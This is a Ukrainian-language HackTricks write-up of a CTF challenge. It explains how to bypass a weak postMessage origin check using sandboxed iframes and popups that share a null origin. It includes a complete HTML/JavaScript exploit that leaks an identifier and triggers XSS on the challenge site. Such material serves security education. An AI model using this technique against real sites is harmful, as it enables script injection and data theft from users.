Ukranian - Ht
HackTricks Training Twitter Linkedin Sponsor

Bypassing SOP with Iframes - 1

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Iframes в SOP-1

У цьому виклику, створеному NDevTK та Terjanq, вам потрібно використати XSS в закодованому.

const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}

Основна проблема полягає в тому, що головна сторінка використовує DomPurify для відправлення data.body, тому для відправлення власних html даних до цього коду потрібно обійти e.origin !== window.origin.

Давайте подивимося на рішення, яке вони пропонують.

Обхід SOP 1 (e.origin === null)

Коли //example.org вбудовано в sandboxed iframe, тоді походження сторінки буде null, тобто window.origin === null. Таким чином, просто вбудовуючи iframe через <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php"> ми могли б примусити null походження.

Якщо сторінку можна вбудовувати, ви можете обійти цей захист таким чином (можливо, також потрібно встановити файли cookie на SameSite=None).

Обхід SOP 2 (window.origin === null)

Менш відомий факт полягає в тому, що коли встановлено значення sandbox allow-popups, тоді відкрите вікно успадкує всі атрибути sandbox, якщо не встановлено allow-popups-to-escape-sandbox. Отже, відкриваючи вікно з нульового походження, window.origin всередині вікна також буде null.

Рішення виклику

Отже, для цього виклику можна створити iframe, відкрити вікно на сторінці з вразливим обробником XSS (/iframe.php), оскільки window.origin === e.origin, оскільки обидва є null, можливо відправити навантаження, яке використовує XSS.

Це навантаження отримає ідентифікатор та відправить XSS назад на верхню сторінку (сторінка, яка відкрила вікно), яка змінить місце на вразливий /iframe.php. Оскільки ідентифікатор відомий, не має значення, що умова window.origin === e.origin не виконується (пам'ятайте, походження - це вікно з iframe, яке має походження null), оскільки data.identifier === identifier. Потім XSS спрацює знову, цього разу в правильному походженні.

<body>
<script>
f = document.createElement('iframe');

// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';

// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');

// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!
PreviousBlocking main page to steal postmessageNextBypassing SOP with Iframes - 2

Last updated